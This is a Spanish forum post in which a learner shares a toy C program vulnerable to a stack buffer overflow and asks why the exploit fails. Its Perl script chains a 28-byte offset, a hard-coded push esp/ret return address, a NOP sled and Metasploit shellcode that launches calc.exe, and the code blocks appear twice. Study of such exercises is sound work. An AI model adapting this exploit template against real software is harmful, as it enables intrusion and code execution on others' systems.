Autor
, después de leer manuales de Stack Buffer Overflow,empeze a hacer las pruebas,y la verdadque no puedo ejecutar calc.exe ( como shellcode ) , probe con otros shellcode generados por metasploit
pero tampoco,paso a detallar el problema.
Codigo del programa vulnerable a bof :
Código:
#include <stdio.h>
int main()
{
char buffer[10];
printf("Escribe : \n");
scanf("%s",buffer);
}
int main()
{
char buffer[10];
printf("Escribe : \n");
scanf("%s",buffer);
}
Se desborda a los 28 BITS empiezo a escribir EIP ( la direccion de retorno de main )..
uso un patrón para llegar a los 28 bits : Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A(28 bits)
Aqui es donde empiezo a escribir EIP..
IMAGEN !
IMAGEN DONDE MUESTRO QUE A LOS 28 ESCRIBO EIP CON BBBB.
Bueno,luego busco un push esp ret en memoria ,para utilizarlo como EIP.
54 C3(hexa push esp ret)
LA SHELL CODE LA GENERE CON METASPLOIT.
Este es mi exploit..
Código:
#!/usr/bin/perl
my $nop = "\x90";
my $breakpoint = "\xcc";
my $relleno = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A"; // patrón que utilizo para llenar el buffer
my $eip = pack("V", 0x7C93C35C); // Direccion de mem donde esta el push esp
my $muelle = $nop x 50;
# SHELLCODE DE METASPLOIT (calc.exe)
my $shellcode =
"\x89\xe1\xdd\xc3\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a".
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41".
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42".
"\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x45\x50\x45\x50\x45".
"\x50\x4c\x4b\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44".
"\x38\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51".
"\x4f\x51\x30\x45\x51\x4a\x4b\x47\x39\x4c\x4b\x47\x44\x4c".
"\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c\x4b".
"\x34\x49\x50\x43\x44\x45\x57\x49\x51\x48\x4a\x44\x4d\x43".
"\x31\x48\x42\x4a\x4b\x4a\x54\x47\x4b\x51\x44\x46\x44\x43".
"\x34\x42\x55\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45\x51\x4a".
"\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45".
"\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51\x4a".
"\x4b\x4d\x59\x51\x4c\x51\x34\x45\x54\x49\x53\x51\x4f\x50".
"\x31\x4a\x56\x43\x50\x46\x36\x43\x54\x4c\x4b\x47\x36\x50".
"\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e".
"\x4d\x4c\x4b\x42\x48\x44\x48\x4b\x39\x4c\x38\x4d\x53\x49".
"\x50\x43\x5a\x46\x30\x42\x48\x4c\x30\x4d\x5a\x43\x34\x51".
"\x4f\x42\x48\x4d\x48\x4b\x4e\x4d\x5a\x44\x4e\x50\x57\x4b".
"\x4f\x4b\x57\x43\x53\x45\x31\x42\x4c\x42\x43\x45\x50\x45".
"\x5a\x41\x41";
# CONSTRUIMOS EXPLOIT
my $exploit = $relleno.$eip.$muelle.$shellcode;
# LANZAMOS EXPLOIT
my $file = "exploit.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );
print "Fichero exploit.txt creado\n";
my $nop = "\x90";
my $breakpoint = "\xcc";
my $relleno = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A"; // patrón que utilizo para llenar el buffer
my $eip = pack("V", 0x7C93C35C); // Direccion de mem donde esta el push esp
my $muelle = $nop x 50;
# SHELLCODE DE METASPLOIT (calc.exe)
my $shellcode =
"\x89\xe1\xdd\xc3\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a".
"\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41".
"\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42".
"\x75\x4a\x49\x4b\x4c\x4a\x48\x50\x44\x45\x50\x45\x50\x45".
"\x50\x4c\x4b\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44".
"\x38\x43\x31\x4a\x4f\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51".
"\x4f\x51\x30\x45\x51\x4a\x4b\x47\x39\x4c\x4b\x47\x44\x4c".
"\x4b\x43\x31\x4a\x4e\x50\x31\x49\x50\x4c\x59\x4e\x4c\x4b".
"\x34\x49\x50\x43\x44\x45\x57\x49\x51\x48\x4a\x44\x4d\x43".
"\x31\x48\x42\x4a\x4b\x4a\x54\x47\x4b\x51\x44\x46\x44\x43".
"\x34\x42\x55\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45\x51\x4a".
"\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45".
"\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51\x4a".
"\x4b\x4d\x59\x51\x4c\x51\x34\x45\x54\x49\x53\x51\x4f\x50".
"\x31\x4a\x56\x43\x50\x46\x36\x43\x54\x4c\x4b\x47\x36\x50".
"\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e".
"\x4d\x4c\x4b\x42\x48\x44\x48\x4b\x39\x4c\x38\x4d\x53\x49".
"\x50\x43\x5a\x46\x30\x42\x48\x4c\x30\x4d\x5a\x43\x34\x51".
"\x4f\x42\x48\x4d\x48\x4b\x4e\x4d\x5a\x44\x4e\x50\x57\x4b".
"\x4f\x4b\x57\x43\x53\x45\x31\x42\x4c\x42\x43\x45\x50\x45".
"\x5a\x41\x41";
# CONSTRUIMOS EXPLOIT
my $exploit = $relleno.$eip.$muelle.$shellcode;
# LANZAMOS EXPLOIT
my $file = "exploit.txt";
open( $FILE, ">$file" );
print $FILE $exploit;
close( $FILE );
print "Fichero exploit.txt creado\n";
LUEGO EN LA CONSOLA UTILIZO exploit.txt ( GENERADO POR PERL ) para vulnerar el programar..
IMAGEN :
No se ejecuta la shell code
!Desde ya muchisimas gracias
, saludos.- 
En línea
) 
, ahora voy a probar.
!
